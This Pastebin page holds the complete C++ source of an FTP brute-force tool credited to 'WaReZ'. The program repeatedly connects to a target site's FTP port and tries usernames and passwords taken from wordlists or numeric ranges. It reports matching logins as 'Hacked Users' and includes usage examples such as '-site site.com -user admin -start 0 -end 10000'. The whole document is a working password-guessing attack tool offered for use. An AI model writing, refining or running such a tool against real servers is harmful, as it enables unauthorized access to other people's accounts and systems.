Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*****
- Ftp Brute Force , v1.0.
- Written By WaReZ
- -----------------
- Options:
- Single Username - Password list , Range passwords.
- Usernames list - Passwords List , Single password , Range Passwords.
- Compile:
- g++ ftp.cpp -o ftp.exe
- *****/
- #include <iostream>
- #include <winsock.h>
- #include <fstream>
- using namespace std;
- int ftp_connect(string user,string pass,char *site) {
- sockaddr_in address;
- size_t userSize = user.length()+1;
- size_t passSize = pass.length()+1;
- char username[userSize],password[passSize];
- ZeroMemory(&username[0],userSize);
- ZeroMemory(&password[0],passSize);
- strncpy(username,user.c_str(),userSize);
- strncpy(password,pass.c_str(),passSize);
- char recv2[256];
- ZeroMemory(&recv2,256);
- hostent *host;
- host = gethostbyname(site);
- if(host != NULL)
- {
- int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
- address.sin_family = AF_INET;
- address.sin_addr.s_addr = ((in_addr *)host->h_addr)->s_addr;
- address.sin_port = htons(21);
- int c,s,r;
- c = connect(sock,(struct sockaddr*)&address,sizeof(address));
- r = recv(sock,recv2,sizeof(recv2),0);
- s = send(sock,username,strlen(username),0);
- r = recv(sock,recv2,sizeof(recv2),0);
- s = send(sock,password,sizeof(password),0);
- r = recv(sock,recv2,sizeof(recv2),0);
- if(strstr(recv2,"230"))
- {
- return 230;
- }
- else if(strstr(recv2,"530"))
- {
- return 530;
- }
- else if(c != 0)
- {
- return -1;
- }
- else
- {
- return WSAGetLastError();
- }
- cout << "1";
- }
- else
- {
- return -1;
- }
- }
- int main(int argc,char *argv[])
- {
- cout << "\n#####################################\n"
- "# Ftp Brute Force #\n"
- "# Written By WaReZ #\n"
- "#####################################\n\n";
- WSADATA wsaData;
- if(WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
- {
- cout << "WSAGetLastError(): " << WSAGetLastError();
- exit(1);
- }
- if(argc < 2)
- {
- cout << "Usage: " << argv[0] << "\n\n";
- cout << "-user singal username\n";
- cout << "-ul usernames list\n";
- cout << "-start start range\n";
- cout << "-end end range\n";
- cout << "-pl passwords list\n";
- cout << "-sp singal password for users list\n";
- cout << "-site site that be checked\n\n";
- cout << "Example: " << argv[0] << " -site site.com -user admin -start 0 -end 10000\n";
- cout << " " << argv[0] << " -site site.com -ul users.txt -sp 123456\n";
- }
- else
- {
- cout << "[~] Starting ...\n\n";
- char buffer[256],rcv[256],error[256];
- int check = 0;
- int tstart = 0 ,tend = 0;
- int u = 0,start = 0 ,ul = 0,pl = 0,end = 0,spass = 0,check_site = 0,hacked = 0,line = 0;
- string user,pass,site2,realuser,sinpass,realpass,fileusers,length,correct_pass;
- char passwords[256],site[256] = "", users[256];
- ifstream passlist,userlist;
- for(int i = 1 ; i <= argc-1;i++)
- {
- if(argv[i+1] != NULL)
- {
- if(strstr(argv[i],"-user"))
- {
- realuser = argv[i+1];
- user = "USER ";
- user += argv[i+1];
- user += "\r\n";
- u = 1;
- }
- if(strstr(argv[i],"-start"))
- {
- tstart = atoi(argv[i+1]);
- start = 1;
- }
- if(strstr(argv[i],"-end"))
- {
- tend = atoi(argv[i+1]);
- end = 1;
- }
- if(strstr(argv[i],"-pl"))
- {
- passlist.open(argv[i+1]);
- if(!passlist.fail())
- {
- pl = 1;
- }
- }
- if(strstr(argv[i],"-site"))
- {
- site2 = argv[i+1];
- strncpy(site,site2.c_str(),256);
- check_site = 1;
- }
- if(strstr(argv[i],"-ul"))
- {
- userlist.open(argv[i+1]);
- if(!userlist.fail())
- {
- ul = 1;
- }
- }
- if(strstr(argv[i],"-sp"))
- {
- sinpass = argv[i+1];
- realpass = argv[i+1];
- spass = 1;
- }
- }
- }
- if(u == 1 && end == 1 && start == 1 && tstart < tend && check_site == 1)
- {
- for(int p = tstart ; p <= tend; p++)
- {
- pass = "PASS ";
- pass+=itoa(p,buffer,10);
- pass+= "\r\n";
- int b = ftp_connect(user,pass,site);
- if(b == 230)
- {
- cout << realuser << "::" << p << " - Succeed" << endl;
- break;
- }
- else if(b == 530)
- {
- cout << realuser << "::" << p << " - Fail" << endl;
- }
- else if(b == -1)
- {
- cout << "Error: Can't Connect to site , check if the site is really exist and he works.\n";
- break;
- }
- else
- {
- cout << "WSAGetLastError: " << WSAGetLastError() << endl;
- break;
- }
- }
- }
- else if(pl == 1 && u == 1 && check_site == 1)
- {
- while(!passlist.eof())
- {
- passlist.getline(passwords,100);
- pass = "PASS ";
- pass+= passwords;
- pass+= "\r\n";
- int b = ftp_connect(user,pass,site);
- if(b == 230)
- {
- cout << realuser << "::" << passwords << " - Succeed" << endl;
- break;
- }
- else if(b == 530)
- {
- cout << realuser << "::" << passwords << " - Fail" << endl;
- }
- else if(b == -1)
- {
- cout << "Error: Can't Connect to site , check if the site is really exist and he works.\n";
- break;
- }
- else
- {
- cout << "WSAGetLastError: " << WSAGetLastError() << endl;
- break;
- }
- }
- }
- else if(ul == 1 && pl == 1 && check_site == 1)
- {
- while(!userlist.eof())
- {
- userlist.getline(users,100);
- user = "USER ";
- user+= users;
- user+= "\r\n";
- while(!passlist.eof())
- {
- passlist.getline(passwords,100);
- pass = "PASS ";
- pass+= passwords;
- pass+= "\r\n";
- int b = ftp_connect(user,pass,site);
- if(b == 230)
- {
- cout << users << "::" << passwords << " - Succeed" << endl;
- correct_pass+= users;
- correct_pass+= "::";
- correct_pass+= passwords;
- correct_pass+= "\n";
- hacked+= 1;
- break;
- }
- else if(b == 530)
- {
- cout << users << "::" << passwords << " - Fail" << endl;
- }
- else if(b == -1)
- {
- cout << "Error: Can't Connect to site , check if the site is really exist and he works.\n";
- break;
- }
- else
- {
- cout << "WSAGetLastError: " << WSAGetLastError() << endl;
- break;
- }
- if(passlist.eof())
- {
- cout << "-------------------------\n";
- passlist.clear();
- passlist.seekg(0,ios::beg);
- break;
- }
- }
- }
- cout << "\nHacked Users:\n\n";
- cout << correct_pass;
- cout << "\n" << hacked << " Users Was Hacked\n";
- }
- else if(spass == 1 && ul == 1 && check_site == 1)
- {
- while(!userlist.eof())
- {
- userlist.getline(users,100);
- user = "USER ";
- user+= users;
- user+= "\r\n";
- pass = "PASS ";
- pass+= sinpass;
- pass+= "\r\n";
- int b = ftp_connect(user,pass,site);
- if(b == 230)
- {
- cout << users << "::" << realpass << " - Succeed" << endl;
- fileusers+= users;
- fileusers+= "::";
- fileusers+= realpass;
- fileusers+= "\n";
- hacked+= 1;
- }
- else if(b == 530)
- {
- cout << users << "::" << realpass << " - Fail" << endl;
- }
- else if(b == -1)
- {
- cout << "Error: Can't Connect to site , check if the site is really exist and he works.\n";
- break;
- }
- else
- {
- cout << "WSAGetLastError: " << WSAGetLastError() << endl;
- break;
- }
- }
- if(hacked > 0)
- {
- cout << "\n\nHacked Users:\n\n";
- cout << fileusers;
- cout << "\n" << hacked << " Users was Hacked\n";
- }
- else
- {
- cout << "\n\nNon password was matched.\n\n";
- }
- }
- else if(ul == 1 && end == 1 && start == 1 && tstart < tend && check_site == 1)
- {
- while(!userlist.eof())
- {
- userlist.getline(users,100);
- for(int d = tstart ; d <= tend;d++)
- {
- user = "USER ";
- user+= users;
- user+= "\r\n";
- pass = "PASS ";
- pass+= itoa(d,buffer,10);
- pass+= "\r\n";
- int b = ftp_connect(user,pass,site);
- if(b == 230)
- {
- cout << users << "::" << d << " - Succeed" << endl;
- fileusers+= users;
- fileusers+= "::";
- fileusers+= itoa(d,buffer,10);
- fileusers+= "\n";
- hacked+= 1;
- break;
- }
- else if(b == 530)
- {
- cout << users << "::" << d << " - Fail" << endl;
- }
- else if(b == -1)
- {
- cout << "Error: Can't Connect to site , check if the site is really exist and he works.\n";
- break;
- }
- else
- {
- cout << "WSAGetLastError: " << SOCKET_ERROR << endl;
- break;
- }
- }
- cout << "----------------------\n";
- }
- if(hacked > 0)
- {
- cout << "\n\nHacked Users:\n\n";
- cout << fileusers;
- cout << "\n" << hacked << " Users was Hacked\n";
- }
- else
- {
- cout << "\n\nNon password was matched\n\n";
- }
- }
- else
- {
- if(tstart > tend)
- {
- cout << "Error: Start range bigger then end range.\n";
- }
- else if(strlen(site) < 1)
- {
- cout << "Error: You forget to write the site.\n";
- }
- else if(passlist.fail() || userlist.fail())
- {
- cout << "Error: Can't open file , check if the file is really exist and he with correct permission.\n";
- }
- else
- {
- cout << "Error:\ncheck the arguments , maybe you forget to write something \nor you have mistake in some argument\nor that the option you chose not exist\n";
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement